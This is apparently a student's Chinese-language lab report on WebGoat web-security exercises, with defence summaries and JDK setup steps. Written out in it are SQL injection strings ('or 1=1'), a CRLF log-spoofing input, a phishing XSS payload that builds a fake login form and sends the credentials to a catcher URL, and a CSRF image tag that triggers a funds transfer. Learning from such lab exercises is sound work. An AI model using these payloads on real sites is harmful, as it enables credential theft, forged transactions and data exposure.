Exp9 Web安全基础

最后一次实验了呜呼。

在此要给助教学姐道个歉,手动@tiankunye,呜呜呜对不起,学姐给我留言,我以为是学长,回复了“谢谢学长”……这两天看到其他同学在博客下的回复才发现自己错了2333

学姐饶命呜呜
一开始以为是最后一篇博客,刚写完想起我还有免考报告=。=
写到exp9的实验报告,我的Typora也用的更熟了,发现这个软件和Xmind结合起来还是很好用的。

实验总结与体会

这次的实验算是实践起来难度最低的,总的来说就是使用Webgoat网站进行各类Web攻击的学习。

以后做程序员的可能性也很低,不过多知道一些也好

实验分析

实验完成情况

完成了三个部分八种攻击,Phishing with XSS不知道为什么不显示绿√


Numeric SQL lnjection

攻击方法概述:Numeric SQL lnjection,数值SQL注入

防御手段:It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries, even if the threat of SQL injection has been prevented in some other manner.

最好清除所有输入数据,尤其是清理将在OS命令,脚本和数据库查询中使用的数据,即使以其他方式避免了SQL注入的威胁。

在这个天气查询网站上攻击的核心是提交查询的标签

那么在values语句里加入or 1=1,即可将向数据库提交的值为真,提示语句:

SELECT * FROM weather_data WHERE station = ?

原有的为101,之后为101 or 1=1,即可显示所有城市的天气情况

Log Spoofing

日志欺骗,通过添加假的日志文件实现登录,在登录界面的输入栏输入

[message]%0d%0aLogin Succeeded for username: admin

message可为任意值,%0d表示空格,%0a表示换行,后面的登录成功信息使数据库以为本次登录成功,可以看到后续的提醒是message登陆失败了,但当前作为admin又登录成功了。

String SQL lnjection

字符串注入测试,给出的命令提示是

SELECT * FROM user_data WHERE last_name = ?

那么结局这个问题就是使last_name过后的值为真,与Numeric SQL lnjection相似,此处只需要在输入栏输入'or 1 = 1',整条命令变为:

SELECT * FROM user_data WHERE last_name = ''or 1 = 1 --'

即可成功。

Phishing with XSS

本课举例说明了如果页面上存在已知的XSS攻击,网站可能如何支持网络钓鱼攻击。

以下是标准搜索功能的示例。
使用XSS和HTML插入,您的目标是:
将html插入请求凭据
添加JavaScript以实际收集凭据
将凭据发布到http:// localhost:8080 / WebGoat / catcher?PROPERTY = yes ...
为了通过本课程,必须将凭据发布到捕获器servlet。

将另一个登录表单的代码在搜索栏输入:

</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>

此时页面就会增加一个可以填写用户名和密码的界面,在这个界面输入的信息都会被截获。


Stored XSS Attacks

清理所有输入,尤其是那些稍后将用作OS命令,脚本和数据库查询的参数的输入,始终是一个好习惯。对于将内容永久存储在应用程序中某处的内容尤其重要。用户不应创建消息内容,该消息内容可能导致其他用户在检索用户的消息时加载不希望的页面或不希望的内容。

此处给出了一个表单:Title栏、Message栏、Submit按键。我们可以在Message中填入页面代码:

点击提交,就会发现刚刚进行插入的内容冒出来了

Reflected XSS Attacks

在服务器端验证所有输入始终是一个好习惯。在HTTP响应中使用未经验证的用户输入时,可能会发生XSS。在反射的XSS攻击中,攻击者可以使用攻击脚本制作URL,然后将其发布到另一个网站,通过电子邮件发送,或使受害者单击它。

在该课程的界面中我们可以提交信用卡号以及three digit access code(类似三位验证码?)在access code栏加入一段显示代码,效果与Stored XSS Attacks类似:

Cross Site Request Forgery

您的目标是向新闻组发送电子邮件。电子邮件中包含一张其URL指向恶意请求的图像。在本课程中,URL应指向具有“课程”和“菜单”参数以及附加参数“ transferFunds”(具有任意数字值,例如5000)的“攻击” servlet。您可以通过找到“屏幕”来构建链接右侧“参数”插图中的“”和“菜单”值。碰巧在那时通过身份验证的CSRF电子邮件的收件人将转移他们的资金。当本课程的攻击成功后,左侧菜单中课程名称旁边会出现一个绿色的选中标记。

首先查看页面最下端的Parameter中的scr和menu,将这个两个数值带入下列代码:

<img src="http://localhost:8080/WebGoat/attack?Screen=[scr]&menu=[menu]&transferFunds=[转走金额] width="1" height="1"/>

在消息栏输入这些代码,再点击submit,再MessgaeList里就可以看到这个信息,点击这个标签,攻击就会成功。

正如前文所说,这个部分成功以后会使该课程出现一个绿色标签,没有比较明显的页面提醒,我第一次做的时候还以为没成功。

CSRF Prompt By-Pass

与Cross Site Request Forgery相似,查看Parameters并填入信息,就会生成一个连接,点击攻击就会成功。

实验后回答问题

Web这一部分我的基础知识比较薄弱,关于以下三个问题我自己回答起来就是:

攻击方式是利用数据库处理消息的机械性和代码的漏洞,使得输入的恶意代码实现攻击目的,防御手段我实在掰不出来,要说就是注意页面代码的编写=。=

所以以下回答基本是其他博主关于这些的回答, 我进行了自学。

SQL注入攻击原理,如何防御

原理:恶意用户在提交查询请求的过程中将SQL语句插入到请求内容中,同时程序本身对用户输入内容过分信任而未对恶意用户插入的SQL语句进行过滤,导致SQL语句直接被服务端执行。

防御方式:

  • 1.定制黑名单:将常用的SQL注入字符写入到黑名单中,然后通过程序对用户提交的POST、GET请求以及请求中的各个字段都进行过滤检查,筛选威胁字符。

  • 2.限制查询长度:由于SQL注入过程中需要构造较长的SQL语句,因此,一些特定的程序可以使用限制用户提交的请求内容的长度来达到防御SQL注入的目的,但这种效果并不好。

  • 3.限制查询类型:限制用户请求内容中每个字段的类型,并在用户提交请求的时候进行检查,凡不符合该类型的提交就认为是非法请求。

  • 4.白名单法:该方法只对部分程序有效,对一些请求内容相对固定的程序,可以制定请求内容的白名单,如:某程序接受的请求只有数字,且数字为1至100,这样可以检查程序接受的请求内容是否匹配,如果不匹配,则认为是非法请求。

  • 5.设置数据库权限:根据程序要求为特定的表设置特定的权限,如:某段程序对某表只需具备select权限即可,这样即使程序存在问题,恶意用户也无法对表进行update或insert等写入操作。

  • 6.限制目录权限:WEB目录应至少遵循“可写目录不可执行,可执行目录不可写”的原则,在次基础上,对各目录进行必要的权限细化。

    参考:原文链接:https://blog.csdn.net/qq_37931597/article/details/87967354

XSS攻击的原理,如何防御

原理:

  • 1、黑客对含有漏洞的服务器发起XSS攻击;
  • 2、诱使用户打开受到攻击的服务器URL;
  • 3、用户在浏览器中打开URL,恶意代码执行。

防御:

  1. 对用户的输入数据进行过滤,编码等操作。
  2. 对cookie进行保护,设置为httpOnly,防止客户端通document.cookie读取cookie。

原文链接:https://blog.csdn.net/zhongqw_00/article/details/88933322

CSRF攻击原理,如何防御

原理:

  • 1、用户M打开浏览器,访问受信任的网站A,输入用户名和密码登录网站A;
  • 2、在用户信息通过验证之后,网站A产生cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
  • 3、用户未退出网站A之前,在同一浏览器打开一个新的tab访问网站B;
  • 4、网站B接受到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点网站A;
  • 5、浏览器接受到这些请求后,根据网站B的请求,在用户不知道情况下携带cookie信息,向网站A发出请求。网站A并不知道该请求是网站B发出的,所以会根据用户M的权限处理该请求,导致来自网站B的恶意代码被执行。

防御:

  1. 使用http的referer字段
  2. 在请求地址中添加token并验证

原文链接:https://blog.csdn.net/zhongqw_00/article/details/88928978

实践过程记录

准备阶段

需要更改JDK,许多同学已经说明的很明白了,主要参考:https://www.jianshu.com/p/9ec7838411c8

解决方案 原因是JDK版本不匹配,需要下载JDK1.8并配置好环境变量
建立目录并解压JDK
sudo su
mkdir -p /usr/local/java
cp jdk-8u251-linux-x64.tar.gz /usr/local/java
cd /usr/local/java
tar xzvf jdk-8u91-linux-x64.tar.gz
配置环境变量
vim /etc/profile

复制代码到文件结尾JAVA_HOME=/usr/local/java/jdk1.8.0_251

PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH

更新Java的位置并设置默认JDK后重新载入profile,就可以java -version查看安装结果

update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_251/bin/java" 1
update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_251/bin/javac" 1
update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_251/bin/javaws" 1
update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_251/bin/javaws" 1
update-alternatives --set java /usr/local/java/jdk1.8.0_251/bin/java
update-alternatives --set javac /usr/local/java/jdk1.8.0_251/bin/javac
update-alternatives --set javaws /usr/local/java/jdk1.8.0_251/bin/javaws
source /etc/profile

完结!

posted @ 2020-05-29 21:33  PeterDon  阅读(91)  评论(2编辑  收藏